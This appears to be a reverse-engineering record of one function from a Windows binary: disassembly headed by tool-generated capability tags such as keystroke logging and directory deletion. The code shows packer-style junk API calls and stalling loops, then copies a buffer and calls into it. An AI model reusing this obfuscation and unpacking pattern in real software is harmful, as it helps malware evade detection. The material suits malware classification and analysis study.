Function at 0x403ba0
Capabilities:
Delete directory
Get common file path
Get disk size
Log keystrokes via polling
Resolve function by parsing pe exports
Suspend thread
Write file on windows

Disassembly:
push 0xffffffffffffffff
mov eax, dword fs:[0]
push 0x461bab
push eax
mov eax, 0x1920
mov dword fs:[0], esp
call fcn.00411410
cmp dword [0x4757a4], 0xac
push ebx
push ebp
push esi
push edi
jne 0x403cd2
xor esi, esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetWindowLongW]
push esi
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push esi
push esi
call dword [sym.imp.USER32.dll_CreateAcceleratorTableW]
lea eax, [esp + 0xf0]
push eax
push esi
call dword [sym.imp.USER32.dll_GetMenuInfo]
push esi
lea ecx, [esp + 0x930]
push ecx
push esi
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push esi
push esi
lea edx, [esp + 0x1c]
push edx
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_ToAsciiEx]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
push esi
lea eax, [esp + 0x130]
push eax
push 0x402dc4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueTimer]
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
lea ecx, [esp + 0x24]
call fcn.00405910
lea ecx, [esp + 0x24]
call fcn.004059ee
push esi
call fcn.00405aa1
add esp, 4
push esi
push esi
call fcn.00405cc2
push esi
call fcn.00405a72
add esp, 0xc
push esi
push esi
call fcn.00405a88
push esi
push esi
call fcn.00405aac
push esi
call fcn.00405bde
add esp, 0x14
lea ecx, [esp + 0xa4]
push ecx
call fcn.00404fa0
lea ecx, [esp + 0xa4]
mov dword [esp + 0xa4], 0x402e90
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], esi
mov dword [esp + 0x1938], 0xffffffff
call fcn.004047f0
add dword [0x4757a4], 0x11b1b
call fcn.00403ac0
call fcn.00403ae0
xor esi, esi
cmp dword [0x4757a4], esi
jbe 0x403d47
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ebx, dword [sym.imp.GDI32.dll_CreateHalftonePalette]
lea esp, [esp]
mov edx, dword [0x6fcd7c]
mov al, byte [edx + esi + 0x11b1b]
mov ecx, dword [0x475714]
mov byte [ecx + esi], al
cmp dword [0x4757a4], 0xa8
jne 0x403d3e
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea edx, [esp + 0x130]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
inc esi
cmp esi, dword [0x4757a4]
jb 0x403d00
mov esi, dword [sym.imp.KERNEL32.dll_SetComputerNameW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
mov ebp, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
xor eax, eax
mov dword [esp + 0x14], eax
mov ecx, dword [0x4757a4]
add ecx, eax
cmp ecx, 0xe
jne 0x403df9
push 0
lea edx, [esp + 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0x402dd0
call esi
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
push 0
call ebp
lea eax, [esp + 0x92c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExW]
push 0x402dec
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
push 0
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x134]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoW]
mov eax, dword [esp + 0x14]
inc eax
cmp eax, 0x4fe229
mov dword [esp + 0x14], eax
jl 0x403d65
mov edi, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebx, dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov esi, 0x4cc
lea ebx, [ebx]
push 0
push 0
push 0
push 0
call edi
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call ebx
sub esi, 1
jne 0x403e20
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
cmp esi, 0x3b9f963
jge 0x404233
mov dword [esp + 0x3c], 0x68cfa93d
mov dword [esp + 0x9c], 0x7e90fce7
mov dword [esp + 0x40], 0x1d9a7c6d
mov dword [esp + 0x98], 0x441381a
mov dword [esp + 0x48], 0x6da83752
mov dword [esp + 0x7c], 0xb940fac
mov dword [esp + 0x64], 0x281b80e7
mov dword [esp + 0x38], 0x5e3362e
mov dword [esp + 0x90], 0x3ac68673
mov dword [esp + 0x24], 0x1196451a
mov dword [esp + 0x74], 0x21f9fe85
mov dword [esp + 0x60], 0x7c6264b6
mov dword [esp + 0x30], 0x4950b2ae
mov dword [esp + 0x80], 0xff5899
mov dword [esp + 0x84], 0x569d1cf2
mov dword [esp + 0x78], 0x199b1bcf
mov dword [esp + 0x20], 0x1d24402b
mov dword [esp + 0x70], 0x22264de0
mov dword [esp + 0x1c], 0x3ddf4fa4
mov dword [esp + 0x14], 0x5958adcb
mov dword [esp + 0x34], 0xc090240
mov dword [esp + 0x94], 0x3e0ecb2a
mov dword [esp + 0x5c], 0x4c075175
mov dword [esp + 0x58], 0x14a61c88
mov dword [esp + 0x54], 0x61a6691c
mov dword [esp + 0x18], 0x6df795ab
mov dword [esp + 0x8c], 0x13f0744e
mov dword [esp + 0xa0], 0x405c45da
mov dword [esp + 0x4c], 0x7afbd543
mov dword [esp + 0x44], 0x7116d1a8
mov dword [esp + 0x68], 0x495d1bac
mov dword [esp + 0x6c], 0xbfc2655
mov dword [esp + 0x88], 0x1aae7e29
mov dword [esp + 0x50], 0x22253a00
sub dword [esp + 0x3c], 0x6852bd7d
sub dword [esp + 0x98], 0x54eb27fd
add dword [esp + 0x3c], 0x60e74945
sub dword [esp + 0x40], 0x16ceab79
add dword [esp + 0x98], 0x1faa4e06
sub dword [esp + 0x64], 0x465709b3
add dword [esp + 0x48], 0x17220289
sub dword [esp + 0x64], 0x48e04ff4
add dword [esp + 0x7c], 0x5c2f0923
mov eax, 0x33ae181
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
mov eax, 0x4f0d2a2a
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
add dword [esp + 0x40], 0x569831db
sub dword [esp + 0x3c], 0x667741b1
sub dword [esp + 0x24], 0x84e8e84
sub dword [esp + 0x64], 0x5c701fa0
add dword [esp + 0x30], 0x6a64b9f4
mov eax, 0x6404f391
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x1843e8a2
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
mov eax, 0x1058d91d
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
add dword [esp + 0x9c], 0x5ebbebcb
mov eax, 0x4dfd5c74
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
add dword [esp + 0x90], 0x698f89ff
add dword [esp + 0x90], 0x4fbc68fa
add dword [esp + 0x24], 0x6c2a46be
mov eax, 0x7fb426b4
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x712460fe
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
add dword [esp + 0x80], 0x55a3442
mov eax, 0x14d10f45
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x737b07f0
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
mov eax, 0x7c618c04
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x98], 0x7a664b7b
add dword [esp + 0x64], 0x740eb7e3
sub dword [esp + 0x20], 0x4156fe04
add dword [esp + 0x64], 0x1b3116f6
add dword [esp + 0x40], 0x6c75a77a
mov eax, 0x395ad56b
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
mov eax, 0x698d9233
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
add dword [esp + 0x9c], 0x18ae28bb
sub dword [esp + 0x40], 0x75572066
add dword [esp + 0x98], 0x2415c900
add dword [esp + 0x64], 0x71fae2fb
add dword [esp + 0x38], 0x1652a9ab
sub dword [esp + 0x78], 0x72eec008
add dword [esp + 0x9c], 0x70538415
sub dword [esp + 0x20], 0xd1374b5
add dword [esp + 0x40], 0x5cba9175
add dword [esp + 0x5c], 0x3bd45067
mov eax, 0xb507a49
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
add dword [esp + 0x40], 0x61e345ff
add dword [esp + 0x94], 0x46cf21ae
sub dword [esp + 0x3c], 0x43f1ebf9
add dword [esp + 0x1c], 0x724f5e27
mov eax, 0x2338ac04
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
add dword [esp + 0x44], 0xd1c1252
mov eax, 0x46bda8fc
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0xd1e944a
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0x3af7253c
mul dword [esp + 0x54]
mov eax, dword [esp + 0x54]
mov eax, 0x20607127
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
add dword [esp + 0x60], 0x7ccadf16
mov eax, 0x37d30187
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
add dword [esp + 0x70], 0x9f7d911
add dword [esp + 0x64], 0x1a687fae
add dword [esp + 0x20], 0x20b2a2b6
add dword [esp + 0x7c], 0x25aa1e5
add dword [esp + 0x4c], 0x71ac2e8
mov eax, 0x46788f0e
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
cmp esi, 0xbf08bd
jg 0x404248
inc esi
cmp esi, 0x19be898c
jl 0x403e42
call fcn.00403970
xor edx, edx
nop
cmp edx, 0x26
jne 0x40425a
call fcn.00403aa0
inc edx
cmp edx, 0x409495
jl 0x404250
mov esi, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov edi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov ebp, dword [sym.imp.KERNEL32.dll_IsBadHugeWritePtr]
mov dword [esp + 0x14], 0x7b
cmp dword [0x4757a4], 0x86
jne 0x4042be
push 0
call esi
push 0
push 0
push 0
call edi
push 0
push 0
call ebx
push 0
push 0
call ebp
lea edx, [esp + 0x24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogA]
sub dword [esp + 0x14], 1
jne 0x404283
mov esi, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_CreateActCtxW]
mov ebx, dword [sym.imp.KERNEL32.dll_Beep]
mov ebp, dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
mov dword [esp + 0x14], 0x3078f
jmp 0x4042f0
cmp dword [0x4757a4], 0x83
jne 0x404359
push 0
lea eax, [esp + 0x1c]
push eax
push 0
lea ecx, [esp + 0xd38]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push 0
lea edx, [esp + 0x1130]
push edx
call esi
lea eax, [esp + 0x10c]
push eax
call edi
push 0
push 0
call ebx
push 0
lea ecx, [esp + 0x1530]
push ecx
push 0
call ebp
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
sub dword [esp + 0x14], 1
jne 0x4042f0
call fcn.00403650
mov eax, dword [0x475714]
mov dword [0x475798], eax
call eax
mov ecx, dword [esp + 0x1930]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x192c
ret